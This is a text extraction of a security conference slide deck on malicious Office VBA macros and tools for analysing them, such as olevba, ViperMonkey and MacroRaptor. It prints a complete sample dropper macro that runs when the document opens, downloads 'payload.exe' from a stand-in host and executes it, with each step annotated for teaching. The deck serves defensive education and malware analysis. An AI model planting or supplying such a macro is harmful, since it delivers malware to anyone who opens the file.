Philippe Lagadec – decalage.info - @decalage2

More documents

Recommendations

Info

If you should only remember one thing: Clicking on “Enable Content” is exactly the same as launching an unknown executable file.
Sample VBA Dropper Private Declare Function URLDownloadToFileA Lib "urlmon" _ (ByVal NRTMLM As Long, ByVal UUQCES As String, _ ByVal VKDDKH As String, ByVal XXRYIY As Long, _ ByVal RPBFSI As Long) As Long Sub Workbook_Open() Auto_Open End Sub Sub Auto_Open() Dim riri As Long fifi = Environ("TEMP") & "\agent.exe" riri = URLDownloadToFileA(0, _ "http://compromised.com/payload.exe", _ fifi, 0, 0) loulou = Shell(fifi, 1) End Sub Runs when the document opens Uses the URLDownloadToFileA function from URLMON.dll Executable file created in %TEMP% Downloads the payload from an Internet server Runs the payload
Page 1 and 2: Toulouse Hacking Convention 3 rd Ma
Page 3 and 4: Au menu Red Side • Malicious Macr
Page 5: What can a malicious macro do? •
Page 9 and 10: Blue Side: Analysis
Page 11 and 12: olevba - extraction + analysis $ ./
Page 13 and 14: Services/Projects using olevba Vipe
Page 15 and 16: ViperMonkey • Olevba alone: 1. Ex
Page 17 and 18: Other Analysis Techniques • Loffi
Page 19 and 20: Macro Detection & Prevention • Wh
Page 21 and 22: MicroRaptor Picture published by Co
Page 23 and 24: MacroRaptor applications Mraptor_mi
Page 25 and 26: Conclusion VBA Macros are still a v
Page 27 and 28: Extra Slides
Page 29 and 30: Obfuscation iKJINJdg = StrReverse(C
Page 31 and 32: MS Office File Formats with macros
Page 33 and 34: oledump • http://blog.didiersteve
Page 35 and 36: oledump - plugins $ ./oledump.py ~/
Page 37 and 38: ViperMonkey - hello world
Page 39 and 40: ViperMonkey - what next • Minimal

Philippe Lagadec – decalage.info - @decalage2

Create successful ePaper yourself

Delete template?

Save as template?